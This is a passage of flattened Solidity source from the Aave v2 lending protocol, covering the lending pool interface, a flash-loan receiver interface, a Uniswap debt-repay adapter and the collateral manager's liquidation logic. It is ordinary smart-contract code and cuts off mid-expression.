require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
/**
* @title IFlashLoanReceiver interface
* @notice Interface for the Aave fee IFlashLoanReceiver.
* @author Aave
* @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract
**/
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider);
function LENDING_POOL() external view returns (ILendingPool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
interface ILendingPool {
/**
* @dev Emitted on deposit()
* @param reserve The address of the underlying asset of the reserve
* @param user The address initiating the deposit
* @param onBehalfOf The beneficiary of the deposit, receiving the aTokens
* @param amount The amount deposited
* @param referral The referral code used
**/
event Deposit(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint16 indexed referral
);
/**
* @dev Emitted on withdraw()
* @param reserve The address of the underlyng asset being withdrawn
* @param user The address initiating the withdrawal, owner of aTokens
* @param to Address that will receive the underlying
* @param amount The amount to be withdrawn
**/
event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
/**
* @dev Emitted on borrow() and flashLoan() when debt needs to be opened
* @param reserve The address of the underlying asset being borrowed
* @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just
* initiator of the transaction on flashLoan()
* @param onBehalfOf The address that will be getting the debt
* @param amount The amount borrowed out
* @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable
* @param borrowRate The numeric rate at which the user has borrowed
* @param referral The referral code used
**/
event Borrow(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint256 borrowRateMode,
uint256 borrowRate,
uint16 indexed referral
);
/**
* @dev Emitted on repay()
* @param reserve The address of the underlying asset of the reserve
* @param user The beneficiary of the repayment, getting his debt reduced
* @param repayer The address of the user initiating the repay(), providing the funds
* @param amount The amount repaid
**/
event Repay(
address indexed reserve,
address indexed user,
address indexed repayer,
uint256 amount
);
/**
* @dev Emitted on swapBorrowRateMode()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user swapping his rate mode
* @param rateMode The rate mode that the user wants to swap to
**/
event Swap(address indexed reserve, address indexed user, uint256 rateMode);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on rebalanceStableBorrowRate()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user for which the rebalance has been executed
**/
event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
/**
* @dev Emitted on flashLoan()
* @param target The address of the flash loan receiver contract
* @param initiator The address initiating the flash loan
* @param asset The address of the asset being flash borrowed
* @param amount The amount flash borrowed
* @param premium The fee flash borrowed
* @param referralCode The referral code used
**/
event FlashLoan(
address indexed target,
address indexed initiator,
address indexed asset,
uint256 amount,
uint256 premium,
uint16 referralCode
);
/**
* @dev Emitted when the pause is triggered.
*/
event Paused();
/**
* @dev Emitted when the pause is lifted.
*/
event Unpaused();
/**
* @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via
* LendingPoolCollateral manager using a DELEGATECALL
* This allows to have the events in the generated ABI for LendingPool.
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param liquidatedCollateralAmount The amount of collateral received by the liiquidator
* @param liquidator The address of the liquidator
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
event LiquidationCall(
address indexed collateralAsset,
address indexed debtAsset,
address indexed user,
uint256 debtToCover,
uint256 liquidatedCollateralAmount,
address liquidator,
bool receiveAToken
);
/**
* @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared
* in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal,
* the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it
* gets added to the LendingPool ABI
* @param reserve The address of the underlying asset of the reserve
* @param liquidityRate The new liquidity rate
* @param stableBorrowRate The new stable borrow rate
* @param variableBorrowRate The new variable borrow rate
* @param liquidityIndex The new liquidity index
* @param variableBorrowIndex The new variable borrow index
**/
event ReserveDataUpdated(
address indexed reserve,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex
);
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
/**
* @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
* already deposited enough collateral, or he was given enough allowance by a credit delegator on the
* corresponding debt token (StableDebtToken or VariableDebtToken)
* - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
* and 100 stable/variable debt tokens, depending on the `interestRateMode`
* @param asset The address of the underlying asset to borrow
* @param amount The amount to be borrowed
* @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
* @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
* calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
* if he has been given credit delegation allowance
**/
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
/**
* @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
* - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
* @param asset The address of the borrowed underlying asset previously borrowed
* @param amount The amount to repay
* - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
* @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
* @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
* user calling the function if he wants to reduce/remove his own debt, or the address of any other
* other borrower whose debt should be removed
* @return The final amount repaid
**/
function repay(
address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external returns (uint256);
/**
* @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
* @param asset The address of the underlying asset borrowed
* @param rateMode The rate mode that the user wants to swap to
**/
function swapBorrowRateMode(address asset, uint256 rateMode) external;
/**
* @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
* - Users can be rebalanced if the following conditions are satisfied:
* 1. Usage ratio is above 95%
* 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
* borrowed at a stable rate and depositors are not earning enough
* @param asset The address of the underlying asset borrowed
* @param user The address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address asset, address user) external;
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
**/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
/**
* @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
* - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external;
/**
* @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned.
* IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
* For further details please visit https://developers.aave.com
* @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
* @param assets The addresses of the assets being flash-borrowed
* @param amounts The amounts amounts being flash-borrowed
* @param modes Types of the debt to open if the flash loan is not returned:
* 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
* 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2
* @param params Variadic packed params to pass to the receiver as extra information
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
/**
* @dev Returns the user account data across all the reserves
* @param user The address of the user
* @return totalCollateralETH the total collateral in ETH of the user
* @return totalDebtETH the total debt in ETH of the user
* @return availableBorrowsETH the borrowing power left of the user
* @return currentLiquidationThreshold the liquidation threshold of the user
* @return ltv the loan to value of the user
* @return healthFactor the current health factor of the user
**/
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function initReserve(
address reserve,
address aTokenAddress,
address stableDebtAddress,
address variableDebtAddress,
address interestRateStrategyAddress
) external;
function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress)
external;
function setConfiguration(address reserve, uint256 configuration) external;
/**
* @dev Returns the configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The configuration of the reserve
**/
function getConfiguration(address asset)
external
view
returns (DataTypes.ReserveConfigurationMap memory);
/**
* @dev Returns the configuration of the user across all the reserves
* @param user The user address
* @return The configuration of the user
**/
function getUserConfiguration(address user)
external
view
returns (DataTypes.UserConfigurationMap memory);
/**
* @dev Returns the normalized income normalized income of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The reserve's normalized income
*/
function getReserveNormalizedIncome(address asset) external view returns (uint256);
/**
* @dev Returns the normalized variable debt per unit of asset
* @param asset The address of the underlying asset of the reserve
* @return The reserve normalized variable debt
*/
function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
function finalizeTransfer(
address asset,
address from,
address to,
uint256 amount,
uint256 balanceFromAfter,
uint256 balanceToBefore
) external;
function getReservesList() external view returns (address[] memory);
function getAddressesProvider() external view returns (ILendingPoolAddressesProvider);
function setPause(bool val) external;
function paused() external view returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
/**
* @title UniswapRepayAdapter
* @notice Uniswap V2 Adapter to perform a repay of a debt with collateral.
* @author Aave
**/
contract UniswapRepayAdapter is BaseUniswapAdapter {
struct RepayParams {
address collateralAsset;
uint256 collateralAmount;
uint256 rateMode;
PermitSignature permitSignature;
bool useEthPath;
}
constructor(
ILendingPoolAddressesProvider addressesProvider,
IUniswapV2Router02 uniswapRouter,
address wethAddress
) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {}
/**
* @dev Uses the received funds from the flash loan to repay a debt on the protocol on behalf of the user. Then pulls
* the collateral from the user and swaps it to the debt asset to repay the flash loan.
* The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset, swap it
* and repay the flash loan.
* Supports only one asset on the flash loan.
* @param assets Address of debt asset
* @param amounts Amount of the debt to be repaid
* @param premiums Fee of the flash loan
* @param initiator Address of the user
* @param params Additional variadic field to include extra params. Expected parameters:
* address collateralAsset Address of the reserve to be swapped
* uint256 collateralAmount Amount of reserve to be swapped
* uint256 rateMode Rate modes of the debt to be repaid
* uint256 permitAmount Amount for the permit signature
* uint256 deadline Deadline for the permit signature
* uint8 v V param for the permit signature
* bytes32 r R param for the permit signature
* bytes32 s S param for the permit signature
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL');
RepayParams memory decodedParams = _decodeParams(params);
_swapAndRepay(
decodedParams.collateralAsset,
assets[0],
amounts[0],
decodedParams.collateralAmount,
decodedParams.rateMode,
initiator,
premiums[0],
decodedParams.permitSignature,
decodedParams.useEthPath
);
return true;
}
/**
* @dev Swaps the user collateral for the debt asset and then repay the debt on the protocol on behalf of the user
* without using flash loans. This method can be used when the temporary transfer of the collateral asset to this
* contract does not affect the user position.
* The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset
* @param collateralAsset Address of asset to be swapped
* @param debtAsset Address of debt asset
* @param collateralAmount Amount of the collateral to be swapped
* @param debtRepayAmount Amount of the debt to be repaid
* @param debtRateMode Rate mode of the debt to be repaid
* @param permitSignature struct containing the permit signature
* @param useEthPath struct containing the permit signature
*/
function swapAndRepay(
address collateralAsset,
address debtAsset,
uint256 collateralAmount,
uint256 debtRepayAmount,
uint256 debtRateMode,
PermitSignature calldata permitSignature,
bool useEthPath
) external {
DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset);
DataTypes.ReserveData memory debtReserveData = _getReserveData(debtAsset);
address debtToken =
DataTypes.InterestRateMode(debtRateMode) == DataTypes.InterestRateMode.STABLE
? debtReserveData.stableDebtTokenAddress
: debtReserveData.variableDebtTokenAddress;
uint256 currentDebt = IERC20(debtToken).balanceOf(msg.sender);
uint256 amountToRepay = debtRepayAmount <= currentDebt ? debtRepayAmount : currentDebt;
if (collateralAsset != debtAsset) {
uint256 maxCollateralToSwap = collateralAmount;
if (amountToRepay < debtRepayAmount) {
maxCollateralToSwap = maxCollateralToSwap.mul(amountToRepay).div(debtRepayAmount);
}
// Get exact collateral needed for the swap to avoid leftovers
uint256[] memory amounts =
_getAmountsIn(collateralAsset, debtAsset, amountToRepay, useEthPath);
require(amounts[0] <= maxCollateralToSwap, 'slippage too high');
// Pull aTokens from user
_pullAToken(
collateralAsset,
collateralReserveData.aTokenAddress,
msg.sender,
amounts[0],
permitSignature
);
// Swap collateral for debt asset
_swapTokensForExactTokens(collateralAsset, debtAsset, amounts[0], amountToRepay, useEthPath);
} else {
// Pull aTokens from user
_pullAToken(
collateralAsset,
collateralReserveData.aTokenAddress,
msg.sender,
amountToRepay,
permitSignature
);
}
// Repay debt. Approves 0 first to comply with tokens that implement the anti frontrunning approval fix
IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0);
IERC20(debtAsset).safeApprove(address(LENDING_POOL), amountToRepay);
LENDING_POOL.repay(debtAsset, amountToRepay, debtRateMode, msg.sender);
}
/**
* @dev Perform the repay of the debt, pulls the initiator collateral and swaps to repay the flash loan
*
* @param collateralAsset Address of token to be swapped
* @param debtAsset Address of debt token to be received from the swap
* @param amount Amount of the debt to be repaid
* @param collateralAmount Amount of the reserve to be swapped
* @param rateMode Rate mode of the debt to be repaid
* @param initiator Address of the user
* @param premium Fee of the flash loan
* @param permitSignature struct containing the permit signature
*/
function _swapAndRepay(
address collateralAsset,
address debtAsset,
uint256 amount,
uint256 collateralAmount,
uint256 rateMode,
address initiator,
uint256 premium,
PermitSignature memory permitSignature,
bool useEthPath
) internal {
DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset);
// Repay debt. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix.
IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0);
IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount);
uint256 repaidAmount = IERC20(debtAsset).balanceOf(address(this));
LENDING_POOL.repay(debtAsset, amount, rateMode, initiator);
repaidAmount = repaidAmount.sub(IERC20(debtAsset).balanceOf(address(this)));
if (collateralAsset != debtAsset) {
uint256 maxCollateralToSwap = collateralAmount;
if (repaidAmount < amount) {
maxCollateralToSwap = maxCollateralToSwap.mul(repaidAmount).div(amount);
}
uint256 neededForFlashLoanDebt = repaidAmount.add(premium);
uint256[] memory amounts =
_getAmountsIn(collateralAsset, debtAsset, neededForFlashLoanDebt, useEthPath);
require(amounts[0] <= maxCollateralToSwap, 'slippage too high');
// Pull aTokens from user
_pullAToken(
collateralAsset,
collateralReserveData.aTokenAddress,
initiator,
amounts[0],
permitSignature
);
// Swap collateral asset to the debt asset
_swapTokensForExactTokens(
collateralAsset,
debtAsset,
amounts[0],
neededForFlashLoanDebt,
useEthPath
);
} else {
// Pull aTokens from user
_pullAToken(
collateralAsset,
collateralReserveData.aTokenAddress,
initiator,
repaidAmount.add(premium),
permitSignature
);
}
// Repay flashloan. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix.
IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0);
IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount.add(premium));
}
/**
* @dev Decodes debt information encoded in the flash loan params
* @param params Additional variadic field to include extra params. Expected parameters:
* address collateralAsset Address of the reserve to be swapped
* uint256 collateralAmount Amount of reserve to be swapped
* uint256 rateMode Rate modes of the debt to be repaid
* uint256 permitAmount Amount for the permit signature
* uint256 deadline Deadline for the permit signature
* uint8 v V param for the permit signature
* bytes32 r R param for the permit signature
* bytes32 s S param for the permit signature
* bool useEthPath use WETH path route
* @return RepayParams struct containing decoded params
*/
function _decodeParams(bytes memory params) internal pure returns (RepayParams memory) {
(
address collateralAsset,
uint256 collateralAmount,
uint256 rateMode,
uint256 permitAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s,
bool useEthPath
) =
abi.decode(
params,
(address, uint256, uint256, uint256, uint256, uint8, bytes32, bytes32, bool)
);
return
RepayParams(
collateralAsset,
collateralAmount,
rateMode,
PermitSignature(permitAmount, deadline, v, r, s),
useEthPath
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../dependencies/openzeppelin/contracts//SafeMath.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts//IERC20.sol';
import {IAToken} from '../../interfaces/IAToken.sol';
import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol';
import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol';
import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol';
import {ILendingPoolCollateralManager} from '../../interfaces/ILendingPoolCollateralManager.sol';
import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol';
import {GenericLogic} from '../libraries/logic/GenericLogic.sol';
import {Helpers} from '../libraries/helpers/Helpers.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol';
import {DataTypes} from '../libraries/types/DataTypes.sol';
import {LendingPoolStorage} from './LendingPoolStorage.sol';
/**
* @title LendingPoolCollateralManager contract
* @author Aave
* @dev Implements actions involving management of collateral in the protocol, the main one being the liquidations
* IMPORTANT This contract will run always via DELEGATECALL, through the LendingPool, so the chain of inheritance
* is the same as the LendingPool, to have compatible storage layouts
**/
contract LendingPoolCollateralManager is
ILendingPoolCollateralManager,
VersionedInitializable,
LendingPoolStorage
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
using WadRayMath for uint256;
using PercentageMath for uint256;
uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000;
struct LiquidationCallLocalVars {
uint256 userCollateralBalance;
uint256 userStableDebt;
uint256 userVariableDebt;
uint256 maxLiquidatableDebt;
uint256 actualDebtToLiquidate;
uint256 liquidationRatio;
uint256 maxAmountCollateralToLiquidate;
uint256 userStableRate;
uint256 maxCollateralToLiquidate;
uint256 debtAmountNeeded;
uint256 healthFactor;
uint256 liquidatorPreviousATokenBalance;
IAToken collateralAtoken;
bool isCollateralEnabled;
DataTypes.InterestRateMode borrowRateMode;
uint256 errorCode;
string errorMsg;
}
/**
* @dev As thIS contract extends the VersionedInitializable contract to match the state
* of the LendingPool contract, the getRevision() function is needed, but the value is not
* important, as the initialize() function will never be called here
*/
function getRevision() internal pure override returns (uint256) {
return 0;
}
/**
* @dev Function to liquidate a position if its Health Factor drops below 1
* - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external override returns (uint256, string memory) {
DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset];
DataTypes.ReserveData storage debtReserve = _reserves[debtAsset];
DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user];
LiquidationCallLocalVars memory vars;
(, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData(
user,
_reserves,
userConfig,
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
(vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve);
(vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall(
collateralReserve,
debtReserve,
userConfig,
vars.healthFactor,
vars.userStableDebt,
vars.userVariableDebt
);
if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) {
return (vars.errorCode, vars.errorMsg);
}
vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress);
vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user);
vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul(
LIQUIDATION_CLOSE_FACTOR_PERCENT
);
vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt
? vars.maxLiquidatableDebt
: debtToCover;
(
vars.maxCollateralToLiquidate,
vars.debtAmountNeeded
) = _calculateAvailableCollateralToLiquidate(
collateralReserve,
debtReserve,
collateralAsset,
debtAsset,
vars.actualDebtToLiquidate,
vars.userCollateralBalance
);
// If debtAmountNeeded < actualDebtToLiquidate, there isn't enough
// collateral to cover the actual amount that is being liquidated, hence we liquidate
// a smaller amount
if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) {
vars.actualDebtToLiquidate = vars.debtAmountNeeded;
}
// If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the
// collateral reserve
if (!receiveAToken) {
uint256 currentAvailableCollateral =
IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken));
if (currentAvailableCollateral < vars.maxCollateralToLiquidate) {
return (
uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY),
Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE
);
}
}
debtReserve.updateState();
if (vars.userVariableDebt >= vars.actualDebtToLiquidate) {
IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn(
user,
vars.actualDebtToLiquidate,
debtReserve.variableBorrowIndex
);
} else {
// If the user doesn't have variable debt, no need to try to burn variable debt tokens
if (vars.userVariableDebt > 0) {
IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn(
user,
vars.userVariableDebt,
debtReserve.variableBorrowIndex
);
}
IStableDebtToken(debtReserve.stableDebtTokenAddress).burn(
user,
vars.actualDebtToLiquidate.sub(vars.userVariableDebt)
);
}
debtReserve.updateInterestRates(
debtAsset,
debtReserve.aTokenAddress,
vars.actualDebtToLiquidate,
0
);
if (receiveAToken) {
vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender);
vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate);
if (vars.liquidatorPreviousATokenBalance == 0) {
DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender];
liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true);
emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender);
}
} else {
collateralReserve.updateState();
collateralReserve.updateInterestRates(
collateralAsset,
address(vars.collateralAtoken),
0,
vars.maxCollateralToLiquidate
);
// Burn the equivalent amount of aToken, sending the underlying to the liquidator
vars.collateralAtoken.burn(
user,
msg.sender,
vars.maxCollateralToLiquidate,
collateralReserve.liquidityIndex
);
}
// If the collateral being liquidated is equal to the user balance,
// we set the currency as not being used as collateral anymore
if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) {
userConfig.setUsingAsCollateral(collateralReserve.id, false);
emit ReserveUsedAsCollateralDisabled(collateralAsset, user);
}
// Transfers the debt asset being repaid to the aToken, where the liquidity is kept
IERC20(debtAsset).safeTransferFrom(
msg.sender,
debtReserve.aTokenAddress,
vars.actualDebtToLiquidate
);
emit LiquidationCall(
collateralAsset,
debtAsset,
user,
vars.actualDebtToLiquidate,
vars.maxCollateralToLiquidate,
msg.sender,
receiveAToken
);
return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS);
}
struct AvailableCollateralToLiquidateLocalVars {
uint256 userCompoundedBorrowBalance;
uint256 liquidationBonus;
uint256 collateralPrice;
uint256 debtAssetPrice;
uint256 maxAmountCollateralToLiquidate;
uint256 debtAssetDecimals;
uint256 collateralDecimals;
}
/**
* @dev Calculates how much of a specific collateral can be liquidated, given
* a certain amount of debt asset.
* - This function needs to be called after all the checks to validate the liquidation have been performed,
* otherwise it might fail.
* @param collateralReserve The data of the collateral reserve
* @param debtReserve The data of the debt reserve
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated
* @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints
* (user balance, close factor)
* debtAmountNeeded: The amount to repay with the liquidation
**/
function _calculateAvailableCollateralToLiquidate(
DataTypes.ReserveData storage collateralReserve,
DataTypes.ReserveData storage debtReserve,
address collateralAsset,
address debtAsset,
uint256 debtToCover,
uint256 userCollateralBalance
) internal view returns (uint256, uint256) {
uint256 collateralAmount = 0;
uint256 debtAmountNeeded = 0;
IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle());
AvailableCollateralToLiquidateLocalVars memory vars;
vars.collateralPrice = oracle.getAssetPrice(collateralAsset);
vars.debtAssetPrice = oracle.getAssetPrice(debtAsset);
(, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve
.configuration
.getParams();
vars.debtAssetDecimals = debtReserve.configuration.getDecimals();
// This is the maximum possible amount of the selected collateral that can be liquidated, given the
// max amount of liquidatable debt
vars.maxAmountCollateralToLiquidate = vars
.debtAssetPrice
